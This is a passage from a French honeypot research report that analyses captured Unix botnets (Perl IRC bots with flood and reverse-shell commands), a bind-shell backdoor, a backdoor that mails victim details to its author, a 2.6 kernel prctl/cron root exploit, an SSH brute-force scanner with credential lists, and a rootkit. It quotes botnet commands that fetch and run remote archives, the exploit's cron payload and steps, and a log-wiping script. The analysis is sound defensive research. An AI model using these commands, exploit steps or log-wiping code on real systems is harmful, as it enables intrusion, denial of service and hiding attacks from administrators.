f l o o d : : t c p ( $To , $1 , $2 , $3 ) ;
exit ;
}
i f ( $2 =~ / ^ u d p f l o o d \ s + ( . + ) \ s + ( \ d + ) \ s + ( \ d + ) / ) {
34
13
15
17
19
21
23
5
RÉSULTATS
f l o o d : : udp ( $To , $1 , $2 , $3 ) ;
exit ;
}
i f ( $2 =~ / ^ h t t p f l o o d \ s + ( . + ) \ s + ( \ d + ) / ) {
f l o o d : : h t t p ( $To , $1 , $2 ) ;
exit ;
}
i f ( $2 =~ / ^ j o i n ( . ∗ ) / ) {
j ( " $1 " ) ;
}
i f ( $2 =~ / ^ p a r t ( . ∗ ) / ) {
p ( " $1 " ) ;
}
Cette fonction ne fait qu’analyser la commande du pirate pour déterminer à coup de
if() l’action à réaliser et exécuter la fonction adéquate. Parmi les actions nous retouvons :
– !eval permet d’exécuter la chaîne donnée par le pirate comme du code perl
– !rsh permet d’exécuter un reverse shell, c’est le bot initialise la connexion
– !google permet de lancer la fonction de propagation du robot
– !tcpflood permet d’effectuer une inondation TCP sur une machine et un port particulier
– !udpflood comme le précédent mais pour le protocole UDP
– !httpflood se connecte à un serveur web pour l’inonder de requête semi valide
On peut remarquer que les actions n’ont rien à voir avec celles que l’on peut retrouver
dans les gigantesques robots ciblant les systèmes windows. En effet, ces robots comme
nous le verons dans la section ?? implémentent des actions très avancées comme le vol de
code bancaire, la récupération des saisies au clavier...
L’utilisation faite des botnets
Pour explorer le monde des botnets, j’ai modifié les sources perl des robots pour les
rendre inoffensifs sans éveiller les doutes des pirates. Ainsi, tous les messages envoyés
par le robot ont été gardés et falsifiés avec de fausses données, toutes les actions ont été
remplacées "par du vent" et tout le trafic au niveau du botnet est enregistré. Par exemple,
le code suivant met en valeur les modifications apportées à la fonction udpflood().
2
4
6
8
10
12
14
i r c : : raw ( "PRIVMSG $_ [ 0 ] : \ 0 0 2 [ UDP−DDOS] \ 0 0 2 A t t a c k i n g " .
$_ [ 1 ] . " : " . $_ [ 2 ] . " f o r " . $_ [ 3 ] . " ’ . " ) ;
$s_time = time ;
#my $ s o c k e t ;
my $ p a c k e t s = 0 ;
# s o c k e t ( $ s o c k e t , PF_INET , SOCK_DGRAM, 1 7 ) ;
w h i l e ( $_ [ 3 ] > ( t i m e − $ s _ t i m e ) ) {
# send ( $socket , 0 , 0 ,
#
s o c k a d d r _ i n ( ! $_ [ 2 ] ? i n t ( r a n d ( 6 5 5 0 0 ) + 1 ) : $_ [ 2 ] , i n e t _ a t o n ( $_ [ 1 ] ) ) ) ;
usleep (5);
$ p a c k e t s ++;
}
# close ( $socket ) ;
i r c : : raw ( "PRIVMSG $_ [ 0 ] : \ 0 0 2 [ UDP−DDOS] \ 0 0 2 S e n t " . $ p a c k e t s . " p a c k e t s . " ) ;
La fonction remplace l’envoi de paquets UDP (commentaires) par un temps d’attente
de 5ms mais garde le même comportement au niveau des informations qui sont renvoyées
sur le channel irc, le pirate n’y voit que du feu.
35
5
RÉSULTATS
Après la mise en place des différents robots sur une dizaine de botnets, les utilisations
suivantes ont pu être observées :
– DDoS16
Comme nous l’avons vu avec les fonctions *flood(), les pirates aiment les dénis de
service et plus particulièrement quand ils sont distribués comme c’est le cas pour
un botnet où les requêtes sont émises depuis les quatres coins du monde avec des
adresses IP différentes.
<xeQt> !udpflood 208.101.16.120 500 500
<readd789> (UDP DDoSing) Attacking: 213.168.230.66 - Time: 500seconds
(...)
Dans l’exemple ci-dessus, xeQt, l’administrateur du botnet, ordonne à ses zombies
de lancer un déni de service UDP contre la machine 208.101.16.120 en l’inondant
de paquets UDP pendant 500secondes et sur le port 500.
– Diffusion de nouveaux programmes
Par l’intermédiaire du programme GNU wget, les pirates n’hésitent pas à installer sur les machines compromises d’autres programmes réalisant des actions malveillantes plus puissantes que celles implémentées dans le robot.
<fazanul> !norman wget panarama2005.go.ro/sockd1.tgz
<pizda|X|6100> --03:30:24-- http://panarama2005.go.ro/sockd1.tgz
(...)
<fazanul> !norman tar zxvf sockd1.tgz
(...)
<fazanul> !norman sockd1/psybnc
fazanul demande aux zombies de télécharger une archive, de l’extraire, et d’exécuter le binaire psybnc qui est un simple proxy IRC qui va permettre au pirate de se
connecter sur un réseau IRC avec l’adresse IP d’une machine compromise.
– Abus des publicités
Pour se faire un peu d’argent de poche, les pirates demandent l’ouverture d’URL de
publicités sur internet qui marche avec un paiement au nombre de clics.
<alef> !atk wget http://pagead2.googlesyndication.com/pagead/iclk?sa=l
alef demande le téléchargement d’une page se trouvant sur les serveurs de googlesyndication, le système de messages publicitaires de google.
– Mise à jour du robot
Gràce à l’action eval, les pirates peuvent mettre à jour les zombies à la volée sans
qu’ils ne se déconnectent du réseau. Ainsi, les pirates utilisent cette fonctionnalité
pour mettre à jour quelques variables importantes comme la liste des administrateurs du botnet, les requêtes google à effectuées pour l’expansion du botnet.
Dans cette partie, nous avons décrit le fonctionnement des botnets qui s’attaquent
aux systèmes UNIX. On peut remarquer que les actions effectuées sur ces réseaux restent
16
Distributed Denial of Service Attack
36
Analyse de binaires
5
RÉSULTATS
encore très limitées comparées à celles proposés par des robots comme SDBot ou AgoBot
présentés dans la section 5.
Analyse de binaires
Cette section utilise l’art de l’ingénierie inverse17 pour analyser les binaires récoltés
sur les différents honeypots, windows ou GNU/Linux.
Linux
bindz
bash-2.05b$ file bindz
bindz: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
Le binaire bindz est un exécutable pour GNU/Linux qui a été téléchargé par un pirate roumain lors d’une session avec kojoney. Le binaire n’est pas strippé, nous pouvons
afficher la table des symbôles pour avoir un aperçu des fonctions de la glibc utilisées.
bash-2.05b$ readelf -s bindz
(...)
Symbol table ’.symtab’ contains 112 entries:
Num:
Value Size Type
Bind
Vis
Ndx Name
(...)
66: 08048810
46 FUNC
GLOBAL DEFAULT UND fork@@GLIBC_2.0
71: 08048860
90 FUNC
GLOBAL DEFAULT UND execve@@GLIBC_2.0
75: 08048890
57 FUNC
GLOBAL DEFAULT UND listen@@GLIBC_2.0
108: 080489d0
57 FUNC
GLOBAL DEFAULT UND socket@@GLIBC_2.0
Les appels aux fonctions socket(), listen(), fork() et execve() laisse présager que le
binaire est une simple porte dérobée à l’écoute d’un port TCP qui permet d’offrir un
interpréteur de commandes à distance. Afin de vérifiez cette hypothèse, analysons le code
assembleur à partir de la fonction main().
2
4
6
8
10
bash −2. 0 5 b $ gdb b i n d z
GNU gdb 6 . 1 . 1 [ FreeBSD ]
C o p y r i g h t 2004 F r e e S o f t w a r e F o u n d a t i o n , I n c .
( ... )
0 x08048d04 <main +0 >:
push
%ebp
0 x08048d05 <main +1 >:
mov
%esp ,% e b p .
0 x08048d07 <main +3 >:
push
%e d i
0 x08048d08 <main +4 >:
push
%e s i
0 x08048d09 <main +5 >:
push
%ebx
0 x08048d0a <main +6 >:
sub
$0x1885c ,% e s p
0 x08048d10 <main +12 >:
sub
$0x4 ,% e s p
100444 octets sont alloués sur la pile. Cet espace va probablement être utilisé comme
tampon pour accueillir les commandes du pirate ainsi que les réponses qui lui seront
transmises (sortie de commandes).
17
reverse engeneering
37
Analyse de binaires
1
3
0 x08048d13
0 x08048d15
0 x08048d17
0 x08048d19
5
<main +15 >:
<main +17 >:
<main +19 >:
<main +21 >:
push
push
push
call
RÉSULTATS
$0x6
$0x1
$0x2
0 x80489d0 < s o c k e t >
Nous avons imméaditement un appel à socket(0x2, 0x1, 0x6) qui se traduit en C par un
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP). Une socket TCP est donc ouverte.
2
4
6
8
10
12
14
16
0 x08048d62 <main +94 >:
push
$0x0
0 x08048d64 <main +96 >:
call
0 x8048850 < h t o n l >
( ... )
0 x08048d76 <main +114 >: p u s h
$0x2689
0 x08048d7b <main +119 >: c a l l
0 x80489a0 < h t o n s >
( ... )
0 x08048dc8 <main +196 >: c a l l
0 x8048890 < l i s t e n >
( ... )
0 x08048e26 <main +290 >: c a l l
0 x8048810 < f o r k >
( ... )
0 x08048e54 <main +336 >: c a l l
0 x80488a0 < s e t s i d >
0 x08048e59 <main +341 >: s u b
$0xc ,% e s p
0 x 0 8 0 4 8 e 5 c <main +344 >: p u s h
$0x8049655
0 x08048e61 <main +349 >: c a l l
0 x80488e0 < c h d i r >
( gdb ) x / s 0 x8049655
0 x8049655 < _ I O _ s t d i n _ u s e d +145 >: " / "
Une structure sockaddr_in est remplie avec l’adresse NULL qui cible toutes les machines et le port 9865. Cette structure est ensuite passée à la fonction listen() qui va se
mettre en écoute sur le port 9865/TCP. Le programme se place ensuite en tâche de fond
avec un fork() suivi d’un setsid() puis change son répertoire courant pour se placer à la
racine /.
2
4
6
8
10
12
14
16
18
20
( ... )
0 x08048ef5
( ... )
0 x08048f90
( ... )
0 x08049047
( ... )
0 x0804912b
0 x0804912d
0 x08049130
( ... )
0 x08049145
0 x08049148
0 x0804914b
0 x0804914d
0 x08049150
0 x08049155
0 x08049158
0 x0804915b
0 x0804915e
<main +497 >:
call
0 x8048880 < a c c e p t >
<main +652 >:
call
0 x80489e0 < r e a d >
<main +835 >:
call
0 x8048ba4 < o p e n _ t t y >
<main +1063 >: p u s h
<main +1065 >: p u s h l
<main +1068 >: c a l l
$0x0
0 x f f f f f f a 4 (% ebp )
0 x8048920 <dup2 >
<main +1089 >:
<main +1092 >:
<main +1095 >:
<main +1097 >:
<main +1100 >:
<main +1105 >:
<main +1108 >:
<main +1111 >:
<main +1114 >:
$0x10 ,% e s p
$0x8 ,% e s p
$0x2
0 x f f f f f f a 4 (% ebp )
0 x8048920 <dup2 >
$0x10 ,% e s p
$0xc ,% e s p
0 x f f f f f f a 4 (% ebp )
0 x80487f0 < close >
add
sub
push
pushl
call
add
sub
pushl
call
Lorsqu’une connexion arrive sur la socket, le programme enregistre une chaîne de caractères (read()) en provenance de l’utilisateur. Une fois la chaîne reçue, aucun traitement
n’est faite sur celle ci et le programme ouvre un terminal virtuel (tty) auquel il associe le
flux arrivant et sortant de la socket. Il clone (dup2()) ensuite les flux standards vers le nouveau tty afin que l’utilisateur puisse intéragir à distance avec ce dernier. On peut penser
que le read() lors de la connexion est là pour mettre en place une protection par mot de
passe qui n’a pas été implémentée...
2
0 x08049176 <main +1138 >: p u s h
0 x08049177 <main +1139 >: p u s h
0 x0804917c <main +1144 >: c a l l
%e a x
$0x804968c
0 x8048860 < e x e c v e >
38
Analyse de binaires
4
5
( gdb ) x / s 0 x804968c
0 x804968c < _ I O _ s t d i n _ u s e d +200 >:
RÉSULTATS
" / bin / sh "
Pour finir, le programme fait un execve() du shell /bin/sh. L’utilisateur distant possède
alors un interpréteur de commandes basique.
Bindz n’est donc qu’une simple porte dérobée ne faisant, ni plus ni moins, que binder
un shell sur le port 9865/TCP sans mettre en place aucune sécurité. En effet, le binaire
n’utilise aucune méthode pour durcir son analyse, il est facilement détectable avec un
simple ps aux et un shell peut être ouvert par n’importe qu’elle utilisateur distant sans la
moindre authentification.
r0nin3
bash-2.05b$ file r0nin3
r0nin3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.0, dynamically linked (uses shared libs), not stripped
Tout comme l’exécutable précédent, r0nin3 est un binaire pour GNU/Linux qui a été
uploadé lors d’une session avec kojoney. Nous pouvons commencer par afficher un listing
de toutes les chaînes ascii présentes dans le binaire avec la commande strings pour se faire
une première idée sur le programme.
bash-2.05b$ strings r0nin3
PsychoPhobia Backdoor v3 by m0rtix is starting...OK, pid = %ld
Shell on: 9997
User: %s
UID: %ld
2.2.
Rootab !! use: ptrace!
(...)
Rootab !! use: expand_stack, Krad(if 2004), Krad2(if 2004), Krad3 !
2.6.10
D’après ce listing, nous pouvons en déduire que nous sommes tombé sur la backdoor
écrite par le pirate marseillais surnommé m0rtix et dont les sources, ainsi que le binaire,
sont disponibles sur la toile. Ce pirate s’est fait arrêté le 15 Janvier 2007 par l’OCLCTIC18 .
Il est accusé d’avoir mis à disposition des programmes permettant l’accès frauduleux pour
en faire du profit. En effet, si nous comparons le binaire avec les sources nous dissernons
quelques différences. . .
1
3
0 x 0 8 0 4 8 f 1 0 <main +396 >:
0 x 0 8 0 4 8 f 1 5 <main +401 >:
0 x 0 8 0 4 8 f 1 a <main +406 >:
call
call
call
0 x804997e <kwst >
0 x8049f73 < callhim >
0 x8049156 < l e s e r v e r >
Lorsque le pirate exécute le binaire sur la machine la fonction kwst() est appelée et
celle-ci lui donne les exploits à utiliser en fonction de la version du noyau pour gagner
les droits du super utilisateur. Avant que le serveur, fonction leserver() qui effectue les
mêmes opérations que le binaire précédent, soit lancé, la fonction callhim() est exécutée.
Cette fonction n’est pas présente dans les sources rendues publiques par m0rtix et cache
sûrement des choses intéressantes ajoutées par m0rtix dans sa version binaire.
18
Office Central de Lutte contre la Criminalité liée aux Technologies de l’Information et de la Communication
39
Analyse de binaires
1
3
5
7
9
11
13
15
17
19
08049 f 7 3 < c a l l h i m > :
8049 f 7 3 :
55
8049 f 7 4 :
89 e5
8049 f 7 6 :
57
8049 f 7 7 :
56
8049 f 7 8 :
53
8049 f 7 9 :
81 e c a c
8049 f 7 f :
e8 b0 e a
8049 f 8 4 :
89 45 e4
8049 f 8 7 :
83 7 d e4
8049 f 8 b :
0 f 85 01
( ... )
804 a 1 3 e :
89 44 24
804 a142 :
8 b 45 e0
804 a145 :
89 04 24
804 a148 :
e8 47 eb
804 a14d :
89 45 dc
804 a150 :
c7 04 24
804 a157 :
e8 78 e8
5
02 00 00
ff ff
00
06 00 00
04
ff ff
01 a e 04 08
ff ff
RÉSULTATS
push
mov
push
push
push
sub
call
mov
cmpl
jne
%ebp
%esp ,% ebp
%e d i
%e s i
%ebx
$0x2ac ,% e s p
8048 a34 < _ i n i t +0 x98 >
%eax , 0 x f f f f f f e 4 (% ebp )
$0x0 , 0 x f f f f f f e 4 (% ebp )
804 a592 < c a l l h i m +0 x61f >
mov
mov
mov
call
mov
movl
call
%eax , 0 x4(% e s p )
0 x f f f f f f e 0 (% ebp ) ,% e a x
%eax ,(% e s p )
8048 c94 < _ i n i t +0 x2f8 >
%eax , 0 x f f f f f f d c (% ebp )
$0x804ae01 ,(% e s p )
80489 d4 < _ i n i t +0 x38 >
Lorsque l’on regarde de plus près le code assembleur de la fonction callhim(), nous
nous apercevons que m0rtix a mis en place des petites astuces pour durcir l’analyse statique de cette fonction comme l’utilisation exessive des instructions lea/mov pour placer
des arguments sur la pile. Pour en déduire facilement le rôle de cette fonction, nous allons
faire un débuggage actif dans un environnement sain et isolé.
Pour pouvoir tracer correctement le binaire, nous devons modifier le test qui dit que si
nous n’avons pas l’uid égale à 0 alors nous quittons le programme. Pour cela, on remplace
l’instruction jne 804a592 <callhim+0x61f> par une série de NOP (0x90).
1
3
( gdb ) x / i 0 x 0 8 0 4 9 f 8 b
0 x 8 0 4 9 f 8 b < c a l l h i m +24 >: nop
( gdb )
0 x 8 0 4 9 f 8 c < c a l l h i m +25 >: nop
Nous pouvons alors lancer le binaire avec la commande strace qui va nous donner les
appels systèmes utilisés par le programme ainsi que les arguments associés.
bash-2.05b$ strace ./r0nin3
connect(3, {sa_family=AF_INET, sin_port=htons(25),
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
getpeername(3, {sa_family=AF_INET, sin_port=htons(25),
sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
read(3, "220 linsucks.clem1.be ESMTP Exim"..., 512) = 71
write(3, "\nHELO truc.domaine.fr\n\0\0\0\0\0\0\0\0\0\0"..., 512) = 512
read(3, "554 SMTP synchronization error\r\n", 512) = 32
--- SIGCHLD (Child exited) @ 0 (0) --write(3, "\nMAIL FROM: <[email protected]>\n"..., 512) = 512
read(3, "", 512)
= 0
write(3, "\nRCPT TO: <[email protected]>\n\0\0\0\0\0"..., 512) = -1
Gagné ! La fonction callhim() permet d’envoyer un mail, à travers le serveur smtp
local de la machine, à [email protected], l’adresse email du créateur du programme, avec
comme contenu les informations du système qui vient d’être piraté. Ainsi m0rtix avait
l’adresse de toutes les machines piratées avec son programme et il a du profiter de cela
pour se connecter sur les machines vulnérables afin de réaliser des actes malveillants qui
lui ont couté la visite de la police à son domicile le 15 Janvier au lever du jour.
40
Analyse de binaires
5
RÉSULTATS
26root
Lorsqu’un pirate a réussi à s’infiltrer dans la machine, sa première priorité est d’obtenir les pleins pouvoirs. Pour cela, il récupère à distance, en fonction des caractèristiques
du système d’exploitation, une archive contenant quelques exploits pré-compilés pour ensuite les essayer un par un jusqu’au tant espéré rootshell. C’est ce qui s’est passé sur la
machine qui faisait tourner un ssh avec des mots de passe faibles où le pirate a directement lancé la commande uname -a pour découvrir la version du noyau linux et a, dans la
foulée, lancé un wget pour récupérer un .tgz rempli de binaires.
[guest@paf ]$ uname -a
Linux paf 2.4.32-bs3 #1 Wed May 3 13:29:01 BST 2006 i686 unknown
[guest@paf ]$ wget http://geocities.com/zapaliu/reales.tgz
Si on regarde de plus près le contenu de l’archive, on peut remarquer qu’elle contient
pas moins de 39 exploits pré-compilés classés par version du noyau linux.
bash-2.05b$ tar xzvf reales.tgz | wc -l
39
bash-2.05b$ du -a
6
./2.0.34/2.0.34
8
./2.0.34
14
./2.2.18/epcs2
6
./2.2.18/epcs2.c
22
./2.2.18
2
./2.4.19
18
./2.4.20/elflbl.c
(...)
22
./2.6.11/uselib
On retrouve des exploits pour les kernels versions 2.2, 2.4 et surtout 2.6. Parmi ces
exploits, seul le binaire nommé 26root ne semble n’avoir aucune source publiée sur la
toile. Regardons de plus près cet exploit qui, d’après son nom ne semble affecter que les
noyaux de la branche 2.6.
bash-2.05b$ strings 26root
YHG OWNZ U
(...)
2.6.* local root exploit by DJERASER
(...)
#/etc/cron.d/core suid_dumpable exploit
#%s* * * * *
root
chown root:root %s && chmod 4755 %s...
(...)
Le listing des chaînes de caractères dans le binaire ne fait que confirmer notre hypothèse, c’est un exploit pour les kernels 2.6.x et google ne connaît aucun DJERASER, ni
ses exploits qu’il a pu écrire. Dans cet exploit on retrouve des chaînes relative au démon
crontab. En effet, ce listing laisse penser que ce programme exploite une faille dans le
kernel permettant de copier la chaîne "%s* * * * * root chown root :root %s && chmod
4755 %s..." dans le fichier /etc/cron.d/core. Les actions (chown, chmod, exécution) dans
ce fichier seront alors exécutées avec les droits root par le démon crontab. On peut alors
se demander comment le programme pourrait-il faire cela à partir d’un simple compte
utilisateur ?
41
Analyse de binaires
5
RÉSULTATS
bash-2.05b$ readelf -s 26root
(...)
7: 00000000
261 FUNC
GLOBAL DEFAULT UND setrlimit@GLIBC_2.2 (3)
(...)
9: 00000000
72 FUNC
GLOBAL DEFAULT UND prctl@GLIBC_2.0 (2)
(...)
11: 00000000
626 FUNC
GLOBAL DEFAULT UND sleep@GLIBC_2.0 (2)
En jetant un coup d’oeil à la table des symbôles, on peut voir que le programme
utilise 2 fonctions spécifiques, prctl() et setrlimit(), au système Linux. La fonction prctl()
permet de spécifier des opérations à effectuer sur un processus. Depuis la version 2.6.13 du
kernel Linux, l’option PR_SET_DUMPABLE possède une nouvelle valeur (2) qui permet
d’ordonner au programme de créer un coredump19 que seul le super-utilisateur pourra lire,
une simple histoire de droit...
[man 2 prctl] Since kernel 2.6.13, the value 2 is also permitted ; this causes
any binary which normally would not be dumped to be dumped readable by
root only.
Cette fonctionnalité est bien sympathique mais elle a le problème d’avoir était mal
pensée et quelques mois après sa sortie, une faille était déjà dévoillée au grand public
par l’équipe de sécurité de RedHat. Les développeurs du noyau, avec la mise en place de
cette fonctionnalité, ont, sans le vouloir, permis à n’importe quel processus de faire un
coredump dans un n’importe quel répertoire. On peut penser que cet exploit utilise alors
cette faille pour faire un coredump dans le répertoire /etc/cron.d/.
clem1@plouf:~$ ltrace -f ./26root
(...)
setrlimit(4, 0x8049c80, 2048, 0x804877c, 1)
chdir("/etc/cron.d")
prctl(PR_SET_DUMPABLE, 2, 2048, 0x804877c, 1)
= 0
= 0
= -1
Le programme fait bien un appel à la fonction prctl() avec les arguments vulnérables
après s’être positionné dans /etc/cron.d/ avec un chdir(). Comme nous travaillons dans
une sandbox avec un kernel patché (2.6.19), cet appel a échoué et le programme a stoppé
son exécution. Pour le tromper, nous allons intercepter la fonction prctl() pour qu’elle
retourne 0.
clem1@plouf:~$ cat prctl.c
int prctl(int o, unsigned long a1, unsigned long a2, unsigned long a3,
unsigned long a4)
{
return 0;
}
clem1@plouf:~$ gcc -shared -o prctl.so prctl.c
clem1@plouf:~$ LD_PRELOAD="./prctl.so" ltrace ./26root
setrlimit(4, 0x8049c80, 2048, 0x804877c, 0xb7f4eff4) = 0
chdir("/etc/cron.d")
= 0
prctl(4, 2, 2048, 0x804877c, 0xb7f4eff4)
= 0
getpid()
= 9237
snprintf("#/etc/cron.d/core suid_dumpable "..., 2048, ...) = 273
19
image de la mémoire du processus avant un plantage ou de la réception d’un signal particulier
42
Analyse de binaires
5
fork()
kill(9238, 11)
(...)
sleep(120 <unfinished ...>
(...)
RÉSULTATS
= 9238
= 0
Voilà qui est plus clair, après le succès de l’appel à prctl(), crée un processus fils avec
l’appel à fork() qu’il tue ensuite en envoyant un signal SIGSEGV avec kill(). Lorsque le
fils est tué avec le signal SIGSEGV, il crée une image de la mémoire contenant la chaine
suivante placée grâce au snprintf() situé avant le fork() :
%s* * * * *
root
chown root:root %s && chmod 4755 %s &&
rm -rf %s && kill -USR1 %d; rm /etc/cron.d/cor*
Cette chaîne sera présente dans le fichier /etc/cron.d/core et sera lue par crontab qui va
ignorer toutes les lignes précédentes. Ainsi lorsque crontab va lancer les taches planifiées,
il va tomber sur cette ligne et va exécuter les actions spécifiées qui disent de changer le
propriétaire et de placer le bit set-uid (4755) sur l’exploit (lui-même) avant de lui envoyer
un signal USR1 et de supprimer le fichier core généré qui ne sert plus à rien.
(gdb) x/s
0x8048adf
(gdb) x/s
0x8049dc0
(gdb) x/s
0x8049dc0
0x8048adf
<_IO_stdin_used+103>: "/etc/cron.d/core"
0x8049dc0
<fname>:
"/home/clem1/26root"
0x8049dc0
<fname>:
"/home/clem1/26root"
Exécuter cet exploit sur une machine vulnérable peut se résumer à la procédure suivante :
1. si on à l’UID 0 on exécute un shell
2. prctl(4, 2) sur le processus
3. on se place dans /etc/cron.d/
4. on place la chaine "* * * * * root chown root :root exploit && chmod 4755 exploit"
en mémoire
5. on crée un processus fils
6. on le tue méchamment avec un SIGSEGV
7. création du coredump dans /etc/cron.d/
8. on attend que crontab s’exécute
9. dès que l’on reçoit un signal USR1 on exécute un shell
10. si après 2 minutes d’attente on a rien reçu, on quitte.
43
Analyse de binaires
5
RÉSULTATS
Scanneurs SSH
Comme cela a été mentionné dans la présentation de kojoney, les pirates utilisent des
programmes automatisés pour scanner des plages d’adresses IP ayant le port SSH ouvert
afin de réaliser une attaque par brute force pour trouver des comptes utilisant des mots de
passe faibles.
Lors d’une session kojoney et d’une session avec notre honeypot à forte interaction
laissant accessible un serveur ssh vulnérable, nous avons récupéré deux de ces outils dont
un avec les sources. Le premier est une archive contenant plusieurs programmes et un
script shell dont le contenu est présenté ci-dessous.
bash-2.05b$ cat unix
#!/bin/bash
if [ $# != 1 ]; then
echo "[+] Folosim : $0 [b class]"
exit;
fi
echo "[+][+][+][+][+] UnixCoD Atack Scanner [+][+][+][+][+]"
echo "[+]
SSH Brute force scanner : user & password
[+]"
echo "[+]
Undernet Channel : #help-bnc
[+]"
echo "[+][+][+][+][+][+][+] ver 0x10 [+][+][+][+][+][+][+]"
./find $1 22
sleep 10
cat $1.find.22 |sort |uniq > ip.conf
./atack 100
Il attend en argument une plage d’adresses IP de classe B puis lance le programme find
qui permet de scanner chaque adresse de la classe pour déterminer si le port 22 est ouvert,
si c’est le cas, l’adresse est placée dans le fichier ip.conf en vérifiant bien qu’elle n’y soit
pas déjà présente (sort, uniq) avant de lancer le programme atack qui est le programme
principal qui va effectuer les tests sur les différents serveurs ssh du fichier ip.conf. En
complément de ces programmes, nous avons le fichier data.conf qui contient la liste des
couples login/pass à tester.
bash-2.05b$ head data.conf
root root
admin admin
test test
guest guest
webmaster webmaster
mysql mysql
oracle oracle
library library
info info
shell shell
bash-2.05b$ tail data.conf
root 123abc
root 007007
root 10sne1
root @#$%^&
root 4runner
44
Analyse de binaires
5
RÉSULTATS
root 2welcome
root !@#$%^"
root !@#$%^&
root !@#$%^&*
root *
bash-2.05b$ cat data.conf | wc -l
24025
Ce fichier contient tout de même 24025 couples différents visant principalement le
compte root. En effet, c’est le compte le plus prisé puisqu’il donne les privilèges les plus
élevés et qu’il y a des grandes chances qu’il existe sur la machine.
L’autre programme, dont nous possèdons les sources, est composé d’un seul fichier
nommé sshbrute. Son fonctionnement doit être sensiblement le même que le binaire atack.
bash-2.05b$ strings atack | grep libssh
SSH-2.0-libssh-0.1
libssh does not support SSH1 protocol
it might be a bug of libssh
bash-2.05b$ cat sshbrute.c | grep libssh
#include <libssh/libssh.h>
Les deux programmes utilisent la libssh, une librairie développée en grande partie lors
du google Summer of Code 2005 par un étudiant belge. Cette librairie possède toutes
les APIs nécessaires pour manipuler le protocole SSH, elle s’occupe de la gestion de la
cryptographie, de la génération des paires de clefs... Ainsi en utilisant ces APIs l’écriture
d’un brute force pour serveurs SSH est un jeu d’enfant comme le souligne le nombre de
lignes de code écrites pour sshbrute.c.
bash-2.05b$ cat -s sshbrute.c | grep -v "\*" | egrep -v "^$" | wc -l
182
Après la lecture rapide du code, on peut s’apercevoir que le programmeur n’est pas
si doué que ça, on retrouve des parties sans indentation, des indentations constituées à la
fois d’espaces et de tabulations qui laissent présager que du code lâchement copié/collé.
Le fonctionnement du programme est très simple, il crée plusieurs processus fils qui se
connecte au serveur ssh avec l’API ssh_connect() et tente ensuite une série de couples
login/pass qui sont inscrits en dur dans la source du programme.
bash-2.05b$ cat sshbrute.c | grep checkauth
(...)
checkauth("test", "test", buffer); // Brute user/pass.
checkauth("patrick", "patrick", buffer); // Brute user/pass.
checkauth("oracle", "oracle", buffer); // Brute user/pass.
bash-2.05b$ cat sshbrute.c | grep checkauth | wc -l
85
Seulement 85 combinaisons sont testées, elles se ressemblent tous dans le sens où le
développeur a misé sur l’emploi abusif du même login et mot de passe. Parmi ces combinaisons, aucune ne fait réference au compte root, peut-être que le développeur possède
aucune connaissance des systèmes unix ? Le fonctionnement du binaire atack est sensiblement le même que ce programme excepté qu’il va chercher la liste des couples login/pass
dans un fichier séparé ce qui permet au pirate qui ne possède pas les sources du programme
de modifier ou mettre à jour les login/pass testés. . .
45
Analyse de binaires
5
RÉSULTATS
T0rnkit
Pour garder accès à la machine et camoufler tous les changements qu’il effectue, le
pirate installe généralement une suite de programmes que l’on trouve dans un rootkit.
Depuis quelques années, les rootkits ont évolué pour passer de la simple corruption de binaire en espace utilisateur à la modification des appels système dans le noyau. Les pirates
sont cependant restés à l’ancienne école comme le montre cette section qui décrit l’analyse du programme tornkit qui est une suite d’outils permettant de cacher sa présence sur
un système.
Le rootkit se présente sous l’arborescence suivante :
–
–
–
–
–
setup - script shell qui permet d’installer le rootkit automatiquement.
bin/ - répertoire contenant des binaires piratés tels ls, ps, top, netstat
conf/ - répertoire regroupant les fichiers de configuration.
lib/ - répertoire contenant les librairies dépendantes des binaires (libproc).
scan/ - répertoire contenant des programmes pour effectuer des scan de ports
Son fonctionnement est simple, le script shell setup remplace à coup de mv les binaires de base du système par ceux du rootkit tout en replaçant à son état précédent, avec
la commande touch, la date de dernière modification des binaires. Un script shell nommé
sz permet de bourrer, à l’aide de la commande dd, les binaires de 0 pour qu’ils atteignent
la même taille que leurs originaux. Toutes ces actions ont pour but d’empêcher l’administrateur de détecter une anomalie en se promenant dans l’arborescence mais ne protège
pas la détection du rootkit contre une simple somme de contrôle sur les binaires modifiés,
même basée sur le protocole MD5, cassable facilement depuis quelques années.
Pour en savoir un peu plus sur le fonctionnement des binaires, nous pouvons analyser
les fichiers de configurations qui sont placés par le script setup dans /usr/include/.
clem1@linsucks:~$ ls conf/
file.h hosts.h lidps1.so log.h
clem1@linsucks:~$ cat conf/file.h
libext-2.so.7
.sh
system
tksb
(...)
proc.h
Les fichiers de configuration du rootkit, dont l’extension est un .h pour se confondre
avec les autres entêtes de /usr/include/, spécifient les processus et les fichiers à cacher, les
adresses IP à masquer et une liste de mots (log.h) à ne pas afficher. On en déduit alors que
les binaires fournis avec le rootkit s’occupent de masquer ce qui est référencé dans ces
fichiers. Vérifions cela en jouant avec le ls de notre rootkit.
linsucks:/home/clem1/# cp conf/*.h /usr/include/
clem1@linsucks:~$ head -1 /usr/include/file.h
cacaprout
clem1@linsucks:~$ ls cacaprout
cacaprout
clem1@linsucks:~$ bin/ls -l cacaprout
46
Analyse de binaires
5
RÉSULTATS
Magique ! Notre hypothèse est vérifiée. Lorsque que nous configurons le rootkit pour
ne pas lister le fichier cacaprout, il n’est pas lister par le binaire ls piraté alors qu’il l’est
avec le ls original. Au final, login, ifconfig, ps, du, ls, netstat, finger, find et top sont
modifiés de la même façon par le rootkit qui intègre en plus un script shell qui permet
d’effacer les traces du pirate dans les logs.
2
4
6
8
for f i l in / var / log /∗
do
l i n e s = ‘ c a t $ f i l | wc −l ‘
g r e p −v $1 $LOGPATH / $ f i l > new
t o u c h −r $LOGPATH / $ f i l new
mv −f new $LOGPATH / $ f i l
done
k i l l a l l −HUP s y s l o g d
Il prend en argument une chaîne de caractères $1. Il parcourt ensuite, un par un, chaque
fichier présent dans /var/log, retire les lignes dans lesquelles se trouvent la chaîne passée
en paramètre et ré-ajuste la date de modification des logs avec la commande touch. Il termine par redémarrer le démon syslogd pour qu’il réouvre ses descripteurs de fichier.
